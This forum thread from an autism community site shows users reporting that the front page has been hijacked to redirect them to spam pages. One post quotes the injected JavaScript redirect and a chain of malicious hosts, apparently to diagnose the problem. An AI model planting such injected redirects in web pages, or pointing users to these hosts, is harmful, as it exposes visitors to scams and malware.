Board index › General Discussion › General Autism Discussion

ANOTHER URL-REDIRECT HACK?!?

Page 1 of 2 [ 30 posts ]  Go to page 1, 2  Next

Previous topic | Next topic

AspieUtah
Veteran
Veteran

User avatar

Joined: 20 Jun 2014
Age: 61
Gender: Male
Posts: 6,118
Location: Brigham City, Utah

29 Aug 2018, 2:35 pm

Just refreshed my browser and found I had landed on some "lucky money!! !" website.

The March hack cost me $160.56 at Best Buy Geek Squad.

Does the URL have any security connected with it?!?


_________________
Diagnosed in 2015 with ASD Level 1 by the University of Utah Health Care Autism Spectrum Disorder Clinic using the ADOS-2 Module 4 assessment instrument [11/30] -- Screened in 2014 with ASD by using the University of Cambridge Autism Research Centre AQ (Adult) [43/50]; EQ-60 for adults [11/80]; FQ [43/135]; SQ (Adult) [130/150] self-reported screening inventories -- Assessed since 1978 with an estimated IQ [≈145] by several clinicians -- Contact on WrongPlanet.net by private message (PM)


Fnord
Veteran
Veteran

User avatar

Joined: 6 May 2008
Age: 67
Gender: Male
Posts: 59,887
Location: Stendec

29 Aug 2018, 3:33 pm

Same. Then I cleared my cache and browser history and tried again. Same-same.
Tried from a device that I had never used for WP. Same-same again.
Waited 20 minutes, logged back in.


_________________
 
No love for Hamas, Hezbollah, Iranian Leadership, Islamic Jihad, other Islamic terrorist groups, OR their supporters and sympathizers.


AspieUtah
Veteran
Veteran

User avatar

Joined: 20 Jun 2014
Age: 61
Gender: Male
Posts: 6,118
Location: Brigham City, Utah

29 Aug 2018, 3:38 pm

Fnord wrote:
Same. Then I cleared my cache and browser history and tried again. Same-same.
Tried from a device that I had never used for WP. Same-same again.
Waited 20 minutes, logged back in.

Mine appeared to be residing after WrongPlanet.net timed out (when did timing out get added?) because it popped up as a fully functional URL in the bar. Sooo, it appears that something lurks in the space between timing out and re-establishing connection to WrongPlanet.net.

Fnord, did yours relocate to some kind of "lucky money!! !" site?


_________________
Diagnosed in 2015 with ASD Level 1 by the University of Utah Health Care Autism Spectrum Disorder Clinic using the ADOS-2 Module 4 assessment instrument [11/30] -- Screened in 2014 with ASD by using the University of Cambridge Autism Research Centre AQ (Adult) [43/50]; EQ-60 for adults [11/80]; FQ [43/135]; SQ (Adult) [130/150] self-reported screening inventories -- Assessed since 1978 with an estimated IQ [≈145] by several clinicians -- Contact on WrongPlanet.net by private message (PM)


Fnord
Veteran
Veteran

User avatar

Joined: 6 May 2008
Age: 67
Gender: Male
Posts: 59,887
Location: Stendec

29 Aug 2018, 3:40 pm

AspieUtah wrote:
Fnord wrote:
Same. Then I cleared my cache and browser history and tried again. Same-same.
Tried from a device that I had never used for WP. Same-same again.
Waited 20 minutes, logged back in.

Mine appeared to be residing after WrongPlanet.net timed out (when did timing out get added?) because it popped up as a fully functional URL in the bar. Sooo, it appears that something lurks in the space between timing out and re-establishing connection to WrongPlanet.net.

Fnord, did yours relocate to some kind of "lucky money!! !" site?
Lucky Money, a travel site, and an on-line education site.


_________________
 
No love for Hamas, Hezbollah, Iranian Leadership, Islamic Jihad, other Islamic terrorist groups, OR their supporters and sympathizers.


AspieUtah
Veteran
Veteran

User avatar

Joined: 20 Jun 2014
Age: 61
Gender: Male
Posts: 6,118
Location: Brigham City, Utah

29 Aug 2018, 3:45 pm

Fnord wrote:
AspieUtah wrote:
Fnord wrote:
Same. Then I cleared my cache and browser history and tried again. Same-same.
Tried from a device that I had never used for WP. Same-same again.
Waited 20 minutes, logged back in.

Mine appeared to be residing after WrongPlanet.net timed out (when did timing out get added?) because it popped up as a fully functional URL in the bar. Sooo, it appears that something lurks in the space between timing out and re-establishing connection to WrongPlanet.net.

Fnord, did yours relocate to some kind of "lucky money!! !" site?
Lucky Money, a travel site, and an on-line education site.

I should probably avoid this site for another six months. I don't want to pay Geek Squad for another hack that ISN'T my fault.


_________________
Diagnosed in 2015 with ASD Level 1 by the University of Utah Health Care Autism Spectrum Disorder Clinic using the ADOS-2 Module 4 assessment instrument [11/30] -- Screened in 2014 with ASD by using the University of Cambridge Autism Research Centre AQ (Adult) [43/50]; EQ-60 for adults [11/80]; FQ [43/135]; SQ (Adult) [130/150] self-reported screening inventories -- Assessed since 1978 with an estimated IQ [≈145] by several clinicians -- Contact on WrongPlanet.net by private message (PM)


Kamryn
Hummingbird
Hummingbird

User avatar

Joined: 10 Jul 2017
Gender: Female
Posts: 22
Location: The Twilight Zone

29 Aug 2018, 3:46 pm

I had trouble getting on the website today. When I tried to load it from Firefox or Google Chrome, the page was completely white.
I looked to see if it was down and the side told me to run 'sudo aptitude install nscd'. I did that, and it works now.



AspieUtah
Veteran
Veteran

User avatar

Joined: 20 Jun 2014
Age: 61
Gender: Male
Posts: 6,118
Location: Brigham City, Utah

29 Aug 2018, 3:49 pm

Kamryn wrote:
I had trouble getting on the website today. When I tried to load it from Firefox or Google Chrome, the page was completely white.
I looked to see if it was down and the side told me to run 'sudo aptitude install nscd'. I did that, and it works now.

I don't run anything from any site if I don't understand what it is that wants launching. Risky-risky business, there.


_________________
Diagnosed in 2015 with ASD Level 1 by the University of Utah Health Care Autism Spectrum Disorder Clinic using the ADOS-2 Module 4 assessment instrument [11/30] -- Screened in 2014 with ASD by using the University of Cambridge Autism Research Centre AQ (Adult) [43/50]; EQ-60 for adults [11/80]; FQ [43/135]; SQ (Adult) [130/150] self-reported screening inventories -- Assessed since 1978 with an estimated IQ [≈145] by several clinicians -- Contact on WrongPlanet.net by private message (PM)


AspieUtah
Veteran
Veteran

User avatar

Joined: 20 Jun 2014
Age: 61
Gender: Male
Posts: 6,118
Location: Brigham City, Utah

30 Aug 2018, 8:59 am

Well, now I am forced to launch WrongPlanet.net through the site's backdoor (finding an old notification of a subscribed topic and getting in from there). Launching from the main page doesn't work, because the main page is BLANK!

Seriously?!?


_________________
Diagnosed in 2015 with ASD Level 1 by the University of Utah Health Care Autism Spectrum Disorder Clinic using the ADOS-2 Module 4 assessment instrument [11/30] -- Screened in 2014 with ASD by using the University of Cambridge Autism Research Centre AQ (Adult) [43/50]; EQ-60 for adults [11/80]; FQ [43/135]; SQ (Adult) [130/150] self-reported screening inventories -- Assessed since 1978 with an estimated IQ [≈145] by several clinicians -- Contact on WrongPlanet.net by private message (PM)


Arganger
Veteran
Veteran

User avatar

Joined: 30 Apr 2018
Age: 22
Gender: Female
Posts: 1,707
Location: Colorado

30 Aug 2018, 9:32 am

It has been happening to me too.


_________________
Diagnosed autistic level 2, ODD, anxiety, dyspraxic, essential tremors, depression (Doubted), CAPD, hyper mobility syndrome
Suspected; PTSD (Treated, as my counselor did notice), possible PCOS, PMDD, Learning disabilities (Sure of it, unknown what they are), possibly something wrong with immune system (Sick about as much as I'm not) Possible EDS- hyper mobility type (Will be getting tested, suggested by doctor) dysautonomia


Skilpadde
Veteran
Veteran

User avatar

Joined: 7 Dec 2008
Age: 46
Gender: Female
Posts: 27,019

30 Aug 2018, 11:43 am

I tried to go to the front page vie the link on top of the pages earlier today, and it started redirecting me to somewhere else. I closed the tab before it could finish going there.


_________________
BOLTZ 17/3 2012 - 12/11 2020
Beautiful, sweet, gentle, playful, loyal
simply the best and one of a kind
love you and miss you, dear boy

Stop the wolf kills! https://www.thepetitionsite.com/takeact ... 3091429765


AspieUtah
Veteran
Veteran

User avatar

Joined: 20 Jun 2014
Age: 61
Gender: Male
Posts: 6,118
Location: Brigham City, Utah

30 Aug 2018, 11:54 am

Skilpadde wrote:
I tried to go to the front page vie the link on top of the pages earlier today, and it started redirecting me to somewhere else. I closed the tab before it could finish going there.

Good work! Because my Windows 10 system is lightening fast, I closed browser windows ASAP.

I had better not get another ransomware hack again.


_________________
Diagnosed in 2015 with ASD Level 1 by the University of Utah Health Care Autism Spectrum Disorder Clinic using the ADOS-2 Module 4 assessment instrument [11/30] -- Screened in 2014 with ASD by using the University of Cambridge Autism Research Centre AQ (Adult) [43/50]; EQ-60 for adults [11/80]; FQ [43/135]; SQ (Adult) [130/150] self-reported screening inventories -- Assessed since 1978 with an estimated IQ [≈145] by several clinicians -- Contact on WrongPlanet.net by private message (PM)


jimmy m
Veteran
Veteran

User avatar

Joined: 30 Jun 2018
Age: 75
Gender: Male
Posts: 8,553
Location: Indiana

30 Aug 2018, 12:15 pm

Several months ago I came across a strange type of hack. I had opened a website from my browser (Safari) and it downloaded a strange type of hack. The hack started downloading page after page of redirects, most were porn. I immediately turned off my router and tried to investigate the hack. I ran all the tools of my virus protection software and none of these programs detected it. I eventually rebooted the computer and began again. I noticed that other browsers were not affected by the hack. The hack had changed my homepage location in the Safari browser. The only problem was that I could not change it back. As soon as I turned on Safari, my ability to do anything with that browser was disabled. In a sense it had not infected my computer but rather my browser.

The other interesting thing about the hack I encountered is it was somewhat invisible. I have Time Machine on my computer which allows me to go back in time and reload my programs to the settings from days before. I did this but the hack was still there when I entered Safari.

So with my router off, I restarted Safari and put my homepage back to its original startup location. I have been using the computer for several months now without any problem. The hack software is probably still on my computer but is no longer being activated through the homepage by my browser because there is no longer any link to it.

Whatever the hack is that I encountered may not be platform specific or even browser specific.


_________________
Author of Practical Preparations for a Coronavirus Pandemic.
A very unique plan. As Dr. Paul Thompson wrote, "This is the very best paper on the virus I have ever seen."


Soliloquist
Velociraptor
Velociraptor

User avatar

Joined: 13 Oct 2011
Age: 55
Gender: Male
Posts: 467

30 Aug 2018, 12:25 pm

AspieUtah wrote:
Well, now I am forced to launch WrongPlanet.net through the site's backdoor (finding an old notification of a subscribed topic and getting in from there). Launching from the main page doesn't work, because the main page is BLANK!

Seriously?!?


The front page has this redirect script in the header:
Code:
<script>window.location.replace("http://poorpeopler.tk/index/?2601510941471");window.location.href = "http://poorpeopler.tk/index/?2601510941471";</script>


The page you get sent to is full of malicious redirects:
Code:
Redirects   ✖   
(malicious) poorpeopler.tk » my.search-www.info/?utm_medium=4c23b9fecf7d... » my.search-www.info/?utm_term=65955487426596... » my.search-www.info/proc.php?37e3e265796efe1... » questionfly.com/c/5a37c8ad-f104-11e5-9f1f-... » questionfly.com/v/37df970e-ac70-11e8-bdbe-... » normour.com/r/381520e0-ac70-11e8-b158-11461... » normour.com/r/381520e0-ac70-11e8-b158-11461... » global.mobtraff.site/d/259555757b24bdd9c?su... » global.mobtraff.site/d/259555757b24bdd9c?su... » istric.com/30u13/U1ZQ/XVJA/BR4VS-6Znu-MLrr... » pnr2806.brucelead.com/ck.php?kp=kRU25GIU000... » pnr2806.brucelead.com/ck_ssl?ssl=12&li... » pnr2806.brucelead.com/ck_jump?ssl=12&l... » track.followlink3.club/?utm_medium=5e0d3412... »


Some of the other pages outside of the forum also have malicious scripts in the header:
Code:
<script src="/cdn-cgi/apps/head/HevRZiMBtDwYp4ejiJrq1Kb4pfg.js"></script><script>window.location.replace("http://richonesda.tk/index/?2601510941471");window.location.href = "http://richonesda.tk/index/?2601510941471";</script



Alirat
Raven
Raven

User avatar

Joined: 15 Aug 2018
Age: 70
Gender: Female
Posts: 106
Location: New Zealand

30 Aug 2018, 9:26 pm

jimmy m wrote:
Several months ago I came across a strange type of hack. I had opened a website from my browser (Safari) and it downloaded a strange type of hack. The hack started downloading page after page of redirects, most were porn. I immediately turned off my router and tried to investigate the hack. I ran all the tools of my virus protection software and none of these programs detected it. I eventually rebooted the computer and began again. I noticed that other browsers were not affected by the hack. The hack had changed my homepage location in the Safari browser. The only problem was that I could not change it back. As soon as I turned on Safari, my ability to do anything with that browser was disabled. In a sense it had not infected my computer but rather my browser.

The other interesting thing about the hack I encountered is it was somewhat invisible. I have Time Machine on my computer which allows me to go back in time and reload my programs to the settings from days before. I did this but the hack was still there when I entered Safari.

So with my router off, I restarted Safari and put my homepage back to its original startup location. I have been using the computer for several months now without any problem. The hack software is probably still on my computer but is no longer being activated through the homepage by my browser because there is no longer any link to it.

Whatever the hack is that I encountered may not be platform specific or even browser specific.


I had a router infection about a year ago that no-one (my ISP and other 'experts' knew nothing about) that I googled around till I found a cure. It was most odd, and horrible in the redirection to porn sites. I did get rid of it and also had to take responsibility for it as I had opened up port forwarding on my router to play Terraria with others (or something like that. Details vague now.)

My point is theres always some new and crappy way for the vileness to get in these day. :x


_________________
Diagnosed ASD
cPTSD

Your neurodiverse (Aspie) score: 146 of 200
Your neurotypical (non-autistic) score: 58 of 200
You are very likely neurodiverse (Aspie)


AspieUtah
Veteran
Veteran

User avatar

Joined: 20 Jun 2014
Age: 61
Gender: Male
Posts: 6,118
Location: Brigham City, Utah

31 Aug 2018, 8:34 am

Alirat wrote:
jimmy m wrote:
Several months ago I came across a strange type of hack. I had opened a website from my browser (Safari) and it downloaded a strange type of hack. The hack started downloading page after page of redirects, most were porn. I immediately turned off my router and tried to investigate the hack. I ran all the tools of my virus protection software and none of these programs detected it. I eventually rebooted the computer and began again. I noticed that other browsers were not affected by the hack. The hack had changed my homepage location in the Safari browser. The only problem was that I could not change it back. As soon as I turned on Safari, my ability to do anything with that browser was disabled. In a sense it had not infected my computer but rather my browser.

The other interesting thing about the hack I encountered is it was somewhat invisible. I have Time Machine on my computer which allows me to go back in time and reload my programs to the settings from days before. I did this but the hack was still there when I entered Safari.

So with my router off, I restarted Safari and put my homepage back to its original startup location. I have been using the computer for several months now without any problem. The hack software is probably still on my computer but is no longer being activated through the homepage by my browser because there is no longer any link to it.

Whatever the hack is that I encountered may not be platform specific or even browser specific.

I had a router infection about a year ago that no-one (my ISP and other 'experts' knew nothing about) that I googled around till I found a cure. It was most odd, and horrible in the redirection to porn sites. I did get rid of it and also had to take responsibility for it as I had opened up port forwarding on my router to play Terraria with others (or something like that. Details vague now.)

My point is theres always some new and crappy way for the vileness to get in these day. :x

True there is always a way for hackers to hack, but why only this site and none of my others?


_________________
Diagnosed in 2015 with ASD Level 1 by the University of Utah Health Care Autism Spectrum Disorder Clinic using the ADOS-2 Module 4 assessment instrument [11/30] -- Screened in 2014 with ASD by using the University of Cambridge Autism Research Centre AQ (Adult) [43/50]; EQ-60 for adults [11/80]; FQ [43/135]; SQ (Adult) [130/150] self-reported screening inventories -- Assessed since 1978 with an estimated IQ [≈145] by several clinicians -- Contact on WrongPlanet.net by private message (PM)


AspieUtah
Veteran
Veteran

User avatar

Joined: 20 Jun 2014
Age: 61
Gender: Male
Posts: 6,118
Location: Brigham City, Utah

31 Aug 2018, 8:49 am

And again, just now, a BLANK page causing me to use a search engine to find a workable backdoor.

Is this site falling apart?


_________________
Diagnosed in 2015 with ASD Level 1 by the University of Utah Health Care Autism Spectrum Disorder Clinic using the ADOS-2 Module 4 assessment instrument [11/30] -- Screened in 2014 with ASD by using the University of Cambridge Autism Research Centre AQ (Adult) [43/50]; EQ-60 for adults [11/80]; FQ [43/135]; SQ (Adult) [130/150] self-reported screening inventories -- Assessed since 1978 with an estimated IQ [≈145] by several clinicians -- Contact on WrongPlanet.net by private message (PM)